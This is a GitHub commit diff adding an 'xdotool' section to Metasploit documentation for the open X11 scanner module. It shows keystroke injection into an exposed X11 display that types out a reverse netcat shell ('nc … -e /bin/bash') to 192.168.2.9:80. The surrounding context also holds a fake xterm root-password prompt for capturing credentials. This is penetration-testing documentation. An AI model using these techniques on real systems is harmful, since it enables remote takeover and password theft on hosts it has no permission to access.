Skip to content

Commit b2f9bbc

Browse files
committed
add xdotool
1 parent f84061e commit b2f9bbc

File tree

1 file changed

+18
-1
lines changed

1 file changed

+18
-1
lines changed

documentation/modules/auxiliary/scanner/x11/open_x11.md

Lines changed: 18 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -174,8 +174,25 @@ This was tested against Ubuntu 12.04, 14.04, 16.04 and Solaris 10.
174174
1. start `xspy`
175175
2. `xterm -T "Root Permission Required" -display [ip]:0 -e "echo -e -n 'root password: '; read passwd; echo 'Authentication Failure'; echo -e -n 'root password: '; read passwd"`
176176
- Notice it asks twice for the password incase of a mistyped initial password. This can also be adjusted to just say password or the real user's username
177-
- The victim's typed text by the user will not be masked (*)
177+
- The victim's typed text by the user will not be masked (`*`)
178178
179179
### Direct Exploitation
180180
181181
Use `exploits/unix/x11/x11_keyboard_exec`
182+
183+
### Typing Commands
184+
185+
Similar to the method `exploits/unix/x11/x11_keyboard_exec` uses, its possible to use `xdotool` to run commands on the remote system.
186+
187+
To install `xdotool` on kali simply run `apt-get install xdotool`
188+
189+
Now, you can directly interact by typing commands (which appear on the users screen), an example would be running xterm and launching netcat.
190+
191+
For this scenario we run a simple reverse netcat to 192.168.2.9:80
192+
193+
```
194+
xdotool key alt+F2
195+
xdotool key x t e r m
196+
xdotool key KP_Enter
197+
xdotool key n c space 1 9 2 period 1 6 8 period 2 period 9 space 8 0 space minus e space slash b i n slash b a s h KP_Enter
198+
```

0 commit comments

Comments
 (0)